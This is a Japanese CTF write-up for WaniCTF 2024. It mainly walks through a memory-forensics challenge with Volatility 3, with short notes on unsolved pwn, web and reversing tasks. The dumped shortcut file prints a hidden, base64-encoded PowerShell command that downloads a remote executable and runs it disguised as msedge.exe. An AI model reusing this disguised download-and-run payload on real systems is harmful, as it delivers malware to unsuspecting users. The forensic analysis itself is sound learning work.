chal_mem_search.DUMP: MS Windows 64bit crash dump, version 15.19041, 1 processors, full dump, 4992030524978970960 pages

windows環境のメモリダンプであることがわかる。

Variable        Value

Kernel Base     0xf8030e400000
DTB     0x1ad000
Symbols file:///home/yukichi/mount/wani/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 WindowsCrashDump64Layer
base_layer      2 FileLayer
KdDebuggerDataBlock     0xf8030f000b20
NTBuildLab      19041.1.amd64fre.vb_release.1912
CSDVersion      0
KdVersionBlock  0xf8030f00f400
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2024-05-11 09:33:57
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Mon Dec  9 11:07:51 2019

また、不審な動作をしたということなので、プロセスを見てみる。

└─# python3 vol.py -f '../chal_mem_search.DUMP' windows.pslist
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime       File output

4       0       System  0xcd88c7a97040  168     -       N/A     False   2024-05-11 09:31:11.000000      N/A     Disabled
72      4       Registry        0xcd88c7a85080  4       -       N/A     False   2024-05-11 09:31:06.000000      N/A    Disabled
528     4       smss.exe        0xcd88c9ac8040  2       -       N/A     False   2024-05-11 09:31:11.000000      N/A    Disabled
632     624     csrss.exe       0xcd88c946a080  10      -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
704     624     wininit.exe     0xcd88cb7d1080  1       -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
712     696     csrss.exe       0xcd88cb7d9140  11      -       1       False   2024-05-11 09:31:13.000000      N/A    Disabled
760     696     winlogon.exe    0xcd88cb7f5080  7       -       1       False   2024-05-11 09:31:13.000000      N/A    Disabled
824     704     services.exe    0xcd88cbe3c100  8       -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
832     704     lsass.exe       0xcd88cbe4e080  11      -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
928     760     fontdrvhost.ex  0xcd88cbe8c1c0  5       -       1       False   2024-05-11 09:31:13.000000      N/A    Disabled
936     704     fontdrvhost.ex  0xcd88cbe8a0c0  5       -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
976     824     svchost.exe     0xcd88cbe912c0  24      -       0       False   2024-05-11 09:31:13.000000      N/A    Disabled
568     824     svchost.exe     0xcd88cbf45340  13      -       0       False   2024-05-11 09:31:14.000000      N/A    Disabled
796     760     dwm.exe 0xcd88cbfe8080  16      -       1       False   2024-05-11 09:31:14.000000      N/A     Disabled
.
.
.

2704    3576    powershell.exe  0xcd88ce279080  0       -       1       False   2024-05-11 09:33:52.000000      2024-05-11 09:33:56.000000      Disabled
7844    2704    msedge.exe      0xcd88cd7ac080  0       -       1       True    2024-05-11 09:33:55.000000      2024-05-11 09:33:57.000000      Disabled

明らかに不審な実行はない。notepadやpowershellの実行は気になる。でも、知らないファイルを開いているということはexplorer.exe(3576)やonedrive.exe(7372)は見ておきたい。

お手上げだったので、(WaniCTF 2024)writeupを見てしまった。ファイルスキャンを行うのが良かったようだ。いったんやってみたが、量が多かったので敬遠していたが、mikkaやDesktopでgrepしたらよかったかもしれない。ファイルを触ったと書いてあるのはヒントになっていたのかもしれない。

└─# python3 vol.py -f "../chal_mem_search.DUMP" windows.filescan.FileScan | grep Desktop
0xcd88cc0d2850.0\Windows\System32\DispBroker.Desktop.dll        216
0xcd88cc23dd40  \Windows\System32\winevt\Logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx      216
0xcd88cc23eb50  \Windows\System32\winevt\Logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Admin.evtx     216
0xcd88cc710700  \Users\Mikka\Desktop    216
0xcd88ccd2c930  \Windows\System32\DesktopShellExt.dll   216
0xcd88ccf0ca10  \Users\Mikka\Desktop\desktop.ini        216
0xcd88cd52fd20  \Windows\System32\SettingsEnvironment.Desktop.dll       216
0xcd88cd530810  \Users\Mikka\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini      216
0xcd88cd5341e0  \ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini      216
0xcd88cdd5e130  \Users\Mikka\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini     216
0xcd88cdd651b0  \Windows\SoftwareDistribution\Download\f70085ec9ad749e7257f1893f63367a6\Metadata\DesktopTargetServicedCompDB_Neutral.xml.cab    216
0xcd88cdd70ba0  \Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppxManifest.xml216
0xcd88cdd893d0  \Windows\System32\Windows.Cortana.Desktop.dll   216
0xcd88cdf95960  \Windows\System32\WindowsInternal.ComposableShell.DesktopHosting.dll    216
0xcd88ceb9f2b0  \Users\Mikka\Desktop\echo.txt   216
0xcd88ceba5e80  \Users\Public\Desktop\desktop.ini       216
0xcd88ceba67e0  \Users\Public\Desktop\Microsoft Edge.lnk        216
0xcd88cebac730  \Users\Mikka\Desktop    216
0xcd88cebc26c0  \Users\Mikka\Desktop\read_this_as_admin.lnknload        216
0xcd88cebc3660  \Users\Public\Desktop   216
0xcd88cebc5410  \Users\Public\Desktop   216
0xcd88cebc69f0  \Users\Mikka\Desktop    216
0xcd88cebc7350  \Users\Mikka\Desktop    216

0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216ここが怪しいようだ。飛ばしてしまいそう。この探す力もフォレンジックには必要そうだ。このファイルをダンプする。

└─# python3 vol.py -f "../chal_mem_search.DUMP" -o "../output/" windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebc26c0
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xcd88cebc26c0  read_this_as_admin.lnknload     file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat

いい感じ。中身を見ると、

└─# cat file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat
�8O� �:i�+00�/C:\V1�X3�Windows@ ヌOwH�X�J.��
  WindowsZ1�X{cSystem32B        ヌOwH�X�J.k���erSystem32t1�O�IWindowsPowerShellT ヌO�I�X�H.�����WindowsPowerShell N1�X4�v1.0:     ヌO�I�XDK.��'>�v1.0l2�PX@
                                 powershell.exeN        ��PX@
                                                             �X�B.hi#���'powershell.exeh-gt$�C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32�-window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA=C:\hack\shared\read_this.docx�%SystemDrive%\hack\shared\read_this.docx%SystemDrive%\hack\shared\read_this.docx�%�
�����Kp\��1SPS��XF�L8C���&�m�q/S-1-5-21-1812296582-1250191020-2086791148-100191SPS�mD��pH�H@.�=x�hH�o�P

何やらbase64されている。

難読化されている。難読化を解いて再びbase64デコードを行うとflagゲット。楽しい問題だった。

tiny_10px(解けていません)

世界は狭い What a small world!
ということで、

pwnable

nc

pwn問題はnc(net cat)コマンドを使って問題サーバに接続することがよくあります。ncの使い方を覚えておきましょう

下記コマンドをshellで実行することで問題サーバに接続することが出来ます。接続先で問題を解き、フラグを獲得してください

Pwn challenges often require connecting to the challenge server using the nc (netcat) command. It's important to learn how to use nc.

You can connect to the challenge server by executing the following command in your shell. Solve the problem at the connection point and obtain the flag.

nc chal-lz56g6.wanictf.org 9003
ということで、接続してみる。

└─# nc chal-lz56g6.wanictf.org 9003
15+1=0x

答えを16進数で表したらflagゲット。

do_not_rewrite(解けていません)

canaryにはかなーり気をつけないといけません

Be careful with the canary.

nc chal-lz56g6.wanictf.org 9004
ということで、カナリアのあるオバーフローをやったことないので、頑張ってみる。 とにかく実行してみる。

└─# nc chal-lz56g6.wanictf.org 9004
hint: show_flag = 0x55657c73925f

Enter the name of ingredient 1: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Enter the name of ingredient 2: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Enter the name of ingredient 3: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Enter the name of ingredient 4: 2
Enter the calories per gram for 2: 2
Enter the amount in grams for 2: 2

Total calories for the meal: 12.00 kcal
*** stack smashing detected ***: terminated

最初にflagのアドレスを教えていただいている。ここに飛ばせたら良いということだと思う。入力は食料の名前とグラム単位のカロリー、グラムを入力するこれを計4回行うとトータルのカロリーを出してくれるようだ。

web

Bad_Worker(解けていません)

オフラインで動くウェブアプリをつくりました。 We created a web application that works offline. https://web-bad-worker-lz56g6.wanictf.org
ということで、web問題。

コンテナをつくったり、flagを表示するサイトのようだ。

Reversing

lambda(解けていません)

Let's dance with lambda!ということでやっていく。

└─# python3 lambda.py
Enter the flag: FLAG{
Incorrect

コードから理解しないといけないようだ。

知識(lambda)
lambda (Pythonのlambdaって分かりやすい)を参考に理解する。`lambda 引数: 返り値`で関数のように行うことが出来る。

それでも、読みにくい。

home(解けていません)

FLAGを処理してくれる関数は難読化しちゃいました。読みたくは……ないですね!
とりあえず、ghidraに突っ込んでみる。よくわからない。